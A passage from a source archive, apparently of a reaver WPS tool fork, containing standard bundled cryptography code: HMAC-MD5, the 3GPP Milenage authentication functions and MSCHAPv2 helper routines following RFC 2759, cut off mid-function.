(md5_vector(1 + num_elem, _addr, _len, mac)) return -1; os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer MD5 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = MD5_MAC_LEN; return md5_vector(2, _addr, _len, mac); } /** * hmac_md5 - HMAC-MD5 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { return hmac_md5_vector(key, key_len, 1, &data, &data_len, mac); } reaver-wps-fork-t6x-1.6.6/src/crypto/md5.h000077500000000000000000000021651363372615500202640ustar00rootroot00000000000000/* * MD5 hash implementation and interface functions * Copyright (c) 2003-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MD5_H #define MD5_H #define MD5_MAC_LEN 16 int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); #ifdef CONFIG_FIPS int hmac_md5_vector_non_fips_allow(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int hmac_md5_non_fips_allow(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); #else /* CONFIG_FIPS */ #define hmac_md5_vector_non_fips_allow hmac_md5_vector #define hmac_md5_non_fips_allow hmac_md5 #endif /* CONFIG_FIPS */ #endif /* MD5_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/md5_i.h000077500000000000000000000013371363372615500205740ustar00rootroot00000000000000/* * MD5 internal definitions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MD5_I_H #define MD5_I_H struct MD5Context { u32 buf[4]; u32 bits[2]; u8 in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned char const *buf, unsigned len); void MD5Final(unsigned char digest[16], struct MD5Context *context); #endif /* MD5_I_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/milenage.c000077500000000000000000000233071363372615500213540ustar00rootroot00000000000000/* * 3GPP AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208) * Copyright (c) 2006-2007 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file implements an example authentication algorithm defined for 3GPP * AKA. This can be used to implement a simple HLR/AuC into hlr_auc_gw to allow * EAP-AKA to be tested properly with real USIM cards. * * This implementations assumes that the r1..r5 and c1..c5 constants defined in * TS 35.206 are used, i.e., r1=64, r2=0, r3=32, r4=64, r5=96, c1=00..00, * c2=00..01, c3=00..02, c4=00..04, c5=00..08. The block cipher is assumed to * be AES (Rijndael). */ #include "includes.h" #include "common.h" #include "crypto/aes_wrap.h" #include "milenage.h" /** * milenage_f1 - Milenage f1 and f1* algorithms * @opc: OPc = 128-bit value derived from OP and K * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @sqn: SQN = 48-bit sequence number * @amf: AMF = 16-bit authentication management field * @mac_a: Buffer for MAC-A = 64-bit network authentication code, or %NULL * @mac_s: Buffer for MAC-S = 64-bit resync authentication code, or %NULL * Returns: 0 on success, -1 on failure */ int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s) { u8 tmp1[16], tmp2[16], tmp3[16]; int i; /* tmp1 = TEMP = E_K(RAND XOR OP_C) */ for (i = 0; i < 16; i++) tmp1[i] = _rand[i] ^ opc[i]; if (aes_128_encrypt_block(k, tmp1, tmp1)) return -1; /* tmp2 = IN1 = SQN || AMF || SQN || AMF */ os_memcpy(tmp2, sqn, 6); os_memcpy(tmp2 + 6, amf, 2); os_memcpy(tmp2 + 8, tmp2, 8); /* OUT1 = E_K(TEMP XOR rot(IN1 XOR OP_C, r1) XOR c1) XOR OP_C */ /* rotate (tmp2 XOR OP_C) by r1 (= 0x40 = 8 bytes) */ for (i = 0; i < 16; i++) tmp3[(i + 8) % 16] = tmp2[i] ^ opc[i]; /* XOR with TEMP = E_K(RAND XOR OP_C) */ for (i = 0; i < 16; i++) tmp3[i] ^= tmp1[i]; /* XOR with c1 (= ..00, i.e., NOP) */ /* f1 || f1* = E_K(tmp3) XOR OP_c */ if (aes_128_encrypt_block(k, tmp3, tmp1)) return -1; for (i = 0; i < 16; i++) tmp1[i] ^= opc[i]; if (mac_a) os_memcpy(mac_a, tmp1, 8); /* f1 */ if (mac_s) os_memcpy(mac_s, tmp1 + 8, 8); /* f1* */ return 0; } /** * milenage_f2345 - Milenage f2, f3, f4, f5, f5* algorithms * @opc: OPc = 128-bit value derived from OP and K * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @res: Buffer for RES = 64-bit signed response (f2), or %NULL * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL * @ak: Buffer for AK = 48-bit anonymity key (f5), or %NULL * @akstar: Buffer for AK = 48-bit anonymity key (f5*), or %NULL * Returns: 0 on success, -1 on failure */ int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand, u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar) { u8 tmp1[16], tmp2[16], tmp3[16]; int i; /* tmp2 = TEMP = E_K(RAND XOR OP_C) */ for (i = 0; i < 16; i++) tmp1[i] = _rand[i] ^ opc[i]; if (aes_128_encrypt_block(k, tmp1, tmp2)) return -1; /* OUT2 = E_K(rot(TEMP XOR OP_C, r2) XOR c2) XOR OP_C */ /* OUT3 = E_K(rot(TEMP XOR OP_C, r3) XOR c3) XOR OP_C */ /* OUT4 = E_K(rot(TEMP XOR OP_C, r4) XOR c4) XOR OP_C */ /* OUT5 = E_K(rot(TEMP XOR OP_C, r5) XOR c5) XOR OP_C */ /* f2 and f5 */ /* rotate by r2 (= 0, i.e., NOP) */ for (i = 0; i < 16; i++) tmp1[i] = tmp2[i] ^ opc[i]; tmp1[15] ^= 1; /* XOR c2 (= ..01) */ /* f5 || f2 = E_K(tmp1) XOR OP_c */ if (aes_128_encrypt_block(k, tmp1, tmp3)) return -1; for (i = 0; i < 16; i++) tmp3[i] ^= opc[i]; if (res) os_memcpy(res, tmp3 + 8, 8); /* f2 */ if (ak) os_memcpy(ak, tmp3, 6); /* f5 */ /* f3 */ if (ck) { /* rotate by r3 = 0x20 = 4 bytes */ for (i = 0; i < 16; i++) tmp1[(i + 12) % 16] = tmp2[i] ^ opc[i]; tmp1[15] ^= 2; /* XOR c3 (= ..02) */ if (aes_128_encrypt_block(k, tmp1, ck)) return -1; for (i = 0; i < 16; i++) ck[i] ^= opc[i]; } /* f4 */ if (ik) { /* rotate by r4 = 0x40 = 8 bytes */ for (i = 0; i < 16; i++) tmp1[(i + 8) % 16] = tmp2[i] ^ opc[i]; tmp1[15] ^= 4; /* XOR c4 (= ..04) */ if (aes_128_encrypt_block(k, tmp1, ik)) return -1; for (i = 0; i < 16; i++) ik[i] ^= opc[i]; } /* f5* */ if (akstar) { /* rotate by r5 = 0x60 = 12 bytes */ for (i = 0; i < 16; i++) tmp1[(i + 4) % 16] = tmp2[i] ^ opc[i]; tmp1[15] ^= 8; /* XOR c5 (= ..08) */ if (aes_128_encrypt_block(k, tmp1, tmp1)) return -1; for (i = 0; i < 6; i++) akstar[i] = tmp1[i] ^ opc[i]; } return 0; } /** * milenage_generate - Generate AKA AUTN,IK,CK,RES * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @amf: AMF = 16-bit authentication management field * @k: K = 128-bit subscriber key * @sqn: SQN = 48-bit sequence number * @_rand: RAND = 128-bit random challenge * @autn: Buffer for AUTN = 128-bit authentication token * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL * @res: Buffer for RES = 64-bit signed response (f2), or %NULL * @res_len: Max length for res; set to used length or 0 on failure */ void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k, const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len) { int i; u8 mac_a[8], ak[6]; if (*res_len < 8) { *res_len = 0; return; } if (milenage_f1(opc, k, _rand, sqn, amf, mac_a, NULL) || milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL)) { *res_len = 0; return; } *res_len = 8; /* AUTN = (SQN ^ AK) || AMF || MAC */ for (i = 0; i < 6; i++) autn[i] = sqn[i] ^ ak[i]; os_memcpy(autn + 6, amf, 2); os_memcpy(autn + 8, mac_a, 8); } /** * milenage_auts - Milenage AUTS validation * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @auts: AUTS = 112-bit authentication token from client * @sqn: Buffer for SQN = 48-bit sequence number * Returns: 0 = success (sqn filled), -1 on failure */ int milenage_auts(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *auts, u8 *sqn) { u8 amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */ u8 ak[6], mac_s[8]; int i; if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak)) return -1; for (i = 0; i < 6; i++) sqn[i] = auts[i] ^ ak[i]; if (milenage_f1(opc, k, _rand, sqn, amf, NULL, mac_s) || memcmp(mac_s, auts + 6, 8) != 0) return -1; return 0; } /** * gsm_milenage - Generate GSM-Milenage (3GPP TS 55.205) authentication triplet * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @k: K = 128-bit subscriber key * @_rand: RAND = 128-bit random challenge * @sres: Buffer for SRES = 32-bit SRES * @kc: Buffer for Kc = 64-bit Kc * Returns: 0 on success, -1 on failure */ int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres, u8 *kc) { u8 res[8], ck[16], ik[16]; int i; if (milenage_f2345(opc, k, _rand, res, ck, ik, NULL, NULL)) return -1; for (i = 0; i < 8; i++) kc[i] = ck[i] ^ ck[i + 8] ^ ik[i] ^ ik[i + 8]; #ifdef GSM_MILENAGE_ALT_SRES os_memcpy(sres, res, 4); #else /* GSM_MILENAGE_ALT_SRES */ for (i = 0; i < 4; i++) sres[i] = res[i] ^ res[i + 4]; #endif /* GSM_MILENAGE_ALT_SRES */ return 0; } /** * milenage_generate - Generate AKA AUTN,IK,CK,RES * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) * @k: K = 128-bit subscriber key * @sqn: SQN = 48-bit sequence number * @_rand: RAND = 128-bit random challenge * @autn: AUTN = 128-bit authentication token * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL * @res: Buffer for RES = 64-bit signed response (f2), or %NULL * @res_len: Variable that will be set to RES length * @auts: 112-bit buffer for AUTS * Returns: 0 on success, -1 on failure, or -2 on synchronization failure */ int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand, const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len, u8 *auts) { int i; u8 mac_a[8], ak[6], rx_sqn[6]; const u8 *amf; wpa_hexdump(MSG_DEBUG, "Milenage: AUTN", autn, 16); wpa_hexdump(MSG_DEBUG, "Milenage: RAND", _rand, 16); if (milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL)) return -1; *res_len = 8; wpa_hexdump_key(MSG_DEBUG, "Milenage: RES", res, *res_len); wpa_hexdump_key(MSG_DEBUG, "Milenage: CK", ck, 16); wpa_hexdump_key(MSG_DEBUG, "Milenage: IK", ik, 16); wpa_hexdump_key(MSG_DEBUG, "Milenage: AK", ak, 6); /* AUTN = (SQN ^ AK) || AMF || MAC */ for (i = 0; i < 6; i++) rx_sqn[i] = autn[i] ^ ak[i]; wpa_hexdump(MSG_DEBUG, "Milenage: SQN", rx_sqn, 6); if (os_memcmp(rx_sqn, sqn, 6) <= 0) { u8 auts_amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */ if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak)) return -1; wpa_hexdump_key(MSG_DEBUG, "Milenage: AK*", ak, 6); for (i = 0; i < 6; i++) auts[i] = sqn[i] ^ ak[i]; if (milenage_f1(opc, k, _rand, sqn, auts_amf, NULL, auts + 6)) return -1; wpa_hexdump(MSG_DEBUG, "Milenage: AUTS", auts, 14); return -2; } amf = autn + 6; wpa_hexdump(MSG_DEBUG, "Milenage: AMF", amf, 2); if (milenage_f1(opc, k, _rand, rx_sqn, amf, mac_a, NULL)) return -1; wpa_hexdump(MSG_DEBUG, "Milenage: MAC_A", mac_a, 8); if (os_memcmp(mac_a, autn + 8, 8) != 0) { wpa_printf(MSG_DEBUG, "Milenage: MAC mismatch"); wpa_hexdump(MSG_DEBUG, "Milenage: Received MAC_A", autn + 8, 8); return -1; } return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/milenage.h000077500000000000000000000023261363372615500213570ustar00rootroot00000000000000/* * UMTS AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208) * Copyright (c) 2006-2007 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MILENAGE_H #define MILENAGE_H void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k, const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len); int milenage_auts(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *auts, u8 *sqn); int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres, u8 *kc); int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand, const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len, u8 *auts); int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s); int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand, u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar); #endif /* MILENAGE_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/ms_funcs.c000077500000000000000000000353501363372615500214110ustar00rootroot00000000000000/* * WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759 * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "ms_funcs.h" #include "crypto.h" /** * challenge_hash - ChallengeHash() - RFC 2759, Sect. 8.2 * @peer_challenge: 16-octet PeerChallenge (IN) * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @challenge: 8-octet Challenge (OUT) * Returns: 0 on success, -1 on failure */ static int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, u8 *challenge) { u8 hash[SHA1_MAC_LEN]; const unsigned char *addr[3]; size_t len[3]; addr[0] = peer_challenge; len[0] = 16; addr[1] = auth_challenge; len[1] = 16; addr[2] = username; len[2] = username_len; if (sha1_vector(3, addr, len, hash)) return -1; os_memcpy(challenge, hash, 8); return 0; } /** * nt_password_hash - NtPasswordHash() - RFC 2759, Sect. 8.3 * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @password_hash: 16-octet PasswordHash (OUT) * Returns: 0 on success, -1 on failure */ int nt_password_hash(const u8 *password, size_t password_len, u8 *password_hash) { u8 buf[512], *pos; size_t i, len; if (password_len > 256) password_len = 256; /* Convert password into unicode */ for (i = 0; i < password_len; i++) { buf[2 * i] = password[i]; buf[2 * i + 1] = 0; } len = password_len * 2; pos = buf; return md4_vector(1, (const u8 **) &pos, &len, password_hash); } /** * hash_nt_password_hash - HashNtPasswordHash() - RFC 2759, Sect. 8.4 * @password_hash: 16-octet PasswordHash (IN) * @password_hash_hash: 16-octet PasswordHashHash (OUT) * Returns: 0 on success, -1 on failure */ int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash) { size_t len = 16; return md4_vector(1, &password_hash, &len, password_hash_hash); } /** * challenge_response - ChallengeResponse() - RFC 2759, Sect. 8.5 * @challenge: 8-octet Challenge (IN) * @password_hash: 16-octet PasswordHash (IN) * @response: 24-octet Response (OUT) */ void challenge_response(const u8 *challenge, const u8 *password_hash, u8 *response) { u8 zpwd[7]; des_encrypt(challenge, password_hash, response); des_encrypt(challenge, password_hash + 7, response + 8); zpwd[0] = password_hash[14]; zpwd[1] = password_hash[15]; os_memset(zpwd + 2, 0, 5); des_encrypt(challenge, zpwd, response + 16); } /** * generate_nt_response - GenerateNTResponse() - RFC 2759, Sect. 8.1 * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @response: 24-octet Response (OUT) * Returns: 0 on success, -1 on failure */ int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password, size_t password_len, u8 *response) { u8 challenge[8]; u8 password_hash[16]; challenge_hash(peer_challenge, auth_challenge, username, username_len, challenge); if (nt_password_hash(password, password_len, password_hash)) return -1; challenge_response(challenge, password_hash, response); return 0; } /** * generate_nt_response_pwhash - GenerateNTResponse() - RFC 2759, Sect. 8.1 * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @password_hash: 16-octet PasswordHash (IN) * @response: 24-octet Response (OUT) * Returns: 0 on success, -1 on failure */ int generate_nt_response_pwhash(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password_hash, u8 *response) { u8 challenge[8]; if (challenge_hash(peer_challenge, auth_challenge, username, username_len, challenge)) return -1; challenge_response(challenge, password_hash, response); return 0; } /** * generate_authenticator_response_pwhash - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7 * @password_hash: 16-octet PasswordHash (IN) * @nt_response: 24-octet NT-Response (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually * encoded as a 42-octet ASCII string (S=hexdump_of_response) * Returns: 0 on success, -1 on failure */ int generate_authenticator_response_pwhash( const u8 *password_hash, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response) { static const u8 magic1[39] = { 0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74 }; static const u8 magic2[41] = { 0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F, 0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E, 0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E }; u8 password_hash_hash[16], challenge[8]; const unsigned char *addr1[3]; const size_t len1[3] = { 16, 24, sizeof(magic1) }; const unsigned char *addr2[3]; const size_t len2[3] = { SHA1_MAC_LEN, 8, sizeof(magic2) }; addr1[0] = password_hash_hash; addr1[1] = nt_response; addr1[2] = magic1; addr2[0] = response; addr2[1] = challenge; addr2[2] = magic2; if (hash_nt_password_hash(password_hash, password_hash_hash)) return -1; if (sha1_vector(3, addr1, len1, response)) return -1; challenge_hash(peer_challenge, auth_challenge, username, username_len, challenge); return sha1_vector(3, addr2, len2, response); } /** * generate_authenticator_response - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7 * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @nt_response: 24-octet NT-Response (IN) * @peer_challenge: 16-octet PeerChallenge (IN) * @auth_challenge: 16-octet AuthenticatorChallenge (IN) * @username: 0-to-256-char UserName (IN) * @username_len: Length of username * @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually * encoded as a 42-octet ASCII string (S=hexdump_of_response) * Returns: 0 on success, -1 on failure */ int generate_authenticator_response(const u8 *password, size_t password_len, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response) { u8 password_hash[16]; if (nt_password_hash(password, password_len, password_hash)) return -1; return generate_authenticator_response_pwhash( password_hash, peer_challenge, auth_challenge, username, username_len, nt_response, response); } /** * nt_challenge_response - NtChallengeResponse() - RFC 2433, Sect. A.5 * @challenge: 8-octet Challenge (IN) * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @response: 24-octet Response (OUT) * Returns: 0 on success, -1 on failure */ int nt_challenge_response(const u8 *challenge, const u8 *password, size_t password_len, u8 *response) { u8 password_hash[16]; if (nt_password_hash(password, password_len, password_hash)) return -1; challenge_response(challenge, password_hash, response); return 0; } /** * get_master_key - GetMasterKey() - RFC 3079, Sect. 3.4 * @password_hash_hash: 16-octet PasswordHashHash (IN) * @nt_response: 24-octet NTResponse (IN) * @master_key: 16-octet MasterKey (OUT) * Returns: 0 on success, -1 on failure */ int get_master_key(const u8 *password_hash_hash, const u8 *nt_response, u8 *master_key) { static const u8 magic1[27] = { 0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x4d, 0x50, 0x50, 0x45, 0x20, 0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x20, 0x4b, 0x65, 0x79 }; const unsigned char *addr[3]; const size_t len[3] = { 16, 24, sizeof(magic1) }; u8 hash[SHA1_MAC_LEN]; addr[0] = password_hash_hash; addr[1] = nt_response; addr[2] = magic1; if (sha1_vector(3, addr, len, hash)) return -1; os_memcpy(master_key, hash, 16); return 0; } /** * get_asymetric_start_key - GetAsymetricStartKey() - RFC 3079, Sect. 3.4 * @master_key: 16-octet MasterKey (IN) * @session_key: 8-to-16 octet SessionKey (OUT) * @session_key_len: SessionKeyLength (Length of session_key) (IN) * @is_send: IsSend (IN, BOOLEAN) * @is_server: IsServer (IN, BOOLEAN) * Returns: 0 on success, -1 on failure */ int get_asymetric_start_key(const u8 *master_key, u8 *session_key, size_t session_key_len, int is_send, int is_server) { static const u8 magic2[84] = { 0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20, 0x6b, 0x65, 0x79, 0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20, 0x6b, 0x65, 0x79, 0x2e }; static const u8 magic3[84] = { 0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20, 0x6b, 0x65, 0x79, 0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20, 0x6b, 0x65, 0x79, 0x2e }; static const u8 shs_pad1[40] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; static const u8 shs_pad2[40] = { 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2 }; u8 digest[SHA1_MAC_LEN]; const unsigned char *addr[4]; const size_t len[4] = { 16, 40, 84, 40 }; addr[0] = master_key; addr[1] = shs_pad1; if (is_send) { addr[2] = is_server ? magic3 : magic2; } else { addr[2] = is_server ? magic2 : magic3; } addr[3] = shs_pad2; if (sha1_vector(4, addr, len, digest)) return -1; if (session_key_len > SHA1_MAC_LEN) session_key_len = SHA1_MAC_LEN; os_memcpy(session_key, digest, session_key_len); return 0; } #define PWBLOCK_LEN 516 /** * encrypt_pw_block_with_password_hash - EncryptPwBlockWithPasswordHash() - RFC 2759, Sect. 8.10 * @password: 0-to-256-unicode-char Password (IN; ASCII) * @password_len: Length of password * @password_hash: 16-octet PasswordHash (IN) * @pw_block: 516-byte PwBlock (OUT) * Returns: 0 on success, -1 on failure */ int encrypt_pw_block_with_password_hash( const u8 *password, size_t password_len, const u8 *password_hash, u8 *pw_block) { size_t i, offset; u8 *pos; if (password_len > 256) return -1; os_memset(pw_block, 0, PWBLOCK_LEN); offset = (256 - password_len) * 2; if (os_get_random(pw_block, offset) < 0) return -1; for (i = 0; i < password_len; i++) pw_block[offset + i * 2] = password[i]; /* * PasswordLength is 4 octets, but since the maximum password length is * 256, only first two (in little endian byte order) can be non-zero. */ pos = &pw_block[2 * 256]; WPA_PUT_LE16(pos, password_len * 2); rc4_skip(password_hash, 16, 0, pw_block, PWBLOCK_LEN); return 0; } /** * new_password_encrypted_with_old_nt_password_hash - NewPasswordEncryptedWithOldNtPasswordHash() - RFC 2759, Sect. 8.9 * @new_password: 0-to-256-unicode-char NewPassword (IN; ASCII) * @new_password_len: Length of new_password * @old_password: 0-to-256-unicode-char OldPassword (IN; ASCII) * @old_password_len: Length of old_password * @encrypted_pw_block: 516-octet EncryptedPwBlock (OUT) * Returns: 0 on success, -1 on failure */ int new_password_encrypted_with_old_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_pw_block) { u8 password_hash[16]; if (nt_password_hash(old_password, old_password_len, password_hash)) return -1; if (encrypt_pw_block_with_password_hash(new_password, new_password_len, password_hash, encrypted_pw_block)) return -1; return 0; } /** * nt_password_hash_encrypted_with_block - NtPasswordHashEncryptedWithBlock() - RFC 2759, Sect 8.13 * @password_hash: 16-octer PasswordHash (IN) * @block: 16-octet Block (IN) * @cypher: 16-octer Cypher (OUT) */ void nt_password_hash_encrypted_with_block(const u8 *password_hash, const u8 *block, u8 *cypher) { des_encrypt(password_hash, block, cypher); des_encrypt(password_hash + 8, block + 7, cypher + 8); } /** * old_nt_password_hash_encrypted_with_new_nt_password_hash - OldNtPasswordHashEncryptedWithNewNtPasswordHash() - RFC 2759, Sect. 8.12 * @new_password: 0-to-256-unicode-char NewPassword (IN; ASCII) * @new_password_len: Length of new_password * @old_password: 0-to-256-unicode-char OldPassword (IN; ASCII) * @old_password_len: Length of old_password * @encrypted_password_hash: 16-octet EncryptedPasswordHash (OUT) * Returns: 0 on success, -1 on failure */ int old_nt_password_hash_encrypted_with_new_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_password_hash) { u8 old_password_hash[16], new_password_hash[16]; if (nt_password_hash(old_password, old_password_len, old_password_hash) || nt_password_hash(new_password, new_password_len, new_password_hash)) return -1; nt_password_hash_encrypted_with_block(old_password_hash, 